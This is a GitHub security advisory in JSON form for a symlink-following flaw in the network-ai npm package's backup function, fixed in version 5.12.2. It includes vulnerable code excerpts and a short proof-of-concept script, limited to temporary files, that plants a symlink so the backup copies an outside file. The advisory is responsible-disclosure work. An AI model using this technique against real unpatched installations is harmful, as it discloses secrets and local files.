GHSA-6x2m-p4xp-wg22: Network-AI EnvironmentManager.backup() Follows Symlinked Directories And Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6x2m-p4xp-wg22",
  "modified" : "2026-06-19T21:42:36Z",
  "published" : "2026-06-19T21:42:36Z",
  "aliases" : [ ],
  "summary" : "Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups",
  "details" : "### Summary\n`EnvironmentManager.backup()` recursively collects files using `_collectBackupFiles()`. `_collectBackupFiles()` uses `statSync(full)`, which follows symlinks. If `data/<env>` contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into `data/<env>/.backups/<backupId>/`.\n\nAn attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. Confirmed in Network-AI 5.12.1.\n\n### Details\n`backup()` collects file paths and copies them into the backup directory:\n\n```ts\nconst files = this._collectBackupFiles(envDir);\nfor (const rel of files) {\n  const src = join(envDir, rel);\n  const dst = join(backupPath, rel);\n  mkdirSync(join(backupPath, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });\n  try { copyFileSync(src, dst); } catch { /* skip unreadable */ }\n}\n```\n\n`_collectBackupFiles()` follows symlinked directories because it calls `statSync()`, not `lstatSync()`:\n\n```ts\nconst info = statSync(full);\nif (info.isDirectory()) {\n  walk(full, rel);\n} else {\n  results.push(rel);\n}\n```\n\nDefault CLI reachability exists through `network-ai env backup create --env <env>`. `backup()` also runs automatically before promotion and restore operations.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:435-460` — backup copy logic.\n- `lib/env-manager.ts:596-617` — symlink-following `_collectBackupFiles()`.\n- `bin/cli.ts:413-420` — default CLI exposes backup creation.\n- `lib/env-manager.ts:294-297` and `483-484` — backup also runs before promote/restore.\n\n### PoC\nThis PoC uses only temporary files. It creates a symlink inside `data/dev` pointing to an external directory, then runs `backup('dev')` and observes that the external file is copied into the backup:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - <<'TS'\nconst { EnvironmentManager } = require('./lib/env-manager');\nconst fs = require('fs');\nconst path = require('path');\nconst base = process.env.TMPBASE;\nconst data = path.join(base, 'data');\nconst outside = path.join(base, 'outside');\n\nfs.mkdirSync(outside, { recursive: true });\nfs.writeFileSync(path.join(outside, 'secret.txt'), 'secret-through-symlink');\n\nconst mgr = new EnvironmentManager(data, {\n  chain: ['dev', 'st'],\n  gates: { dev: 'auto', st: 'auto' },\n});\n\nmgr.init('dev');\nfs.symlinkSync(outside, path.join(data, 'dev', 'linked-outside'), 'dir');\n\nconst result = mgr.backup('dev');\nconst copied = path.join(result.path, 'linked-outside', 'secret.txt');\n\nconsole.log(JSON.stringify({\n  copied: fs.existsSync(copied),\n  content: fs.readFileSync(copied, 'utf8'),\n}, null, 2));\n\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result: `copied` is `true` and `content` is `secret-through-symlink`.\n\n### Impact\nAn attacker who can place a symlink in `data/<env>` can cause backup creation to copy arbitrary readable files from outside the environment root into `data/<env>/.backups/<backupId>/`. This can disclose secrets or local files to any actor/process that can later read or export Network-AI backup artifacts. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` — published to npm with provenance.\n\n`_collectBackupFiles()` now uses `lstatSync` instead of `statSync` and skips any entry where `isSymbolicLink()` is true. Symlinks are never traversed, so `backup()` can no longer follow a link out of the environment root and copy external files into a backup artifact.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "network-ai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.12.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.12.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-6x2m-p4xp-wg22"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Jovancoding/Network-AI"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-59" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-19T21:42:36Z",
    "nvd_published_at" : null
  }
}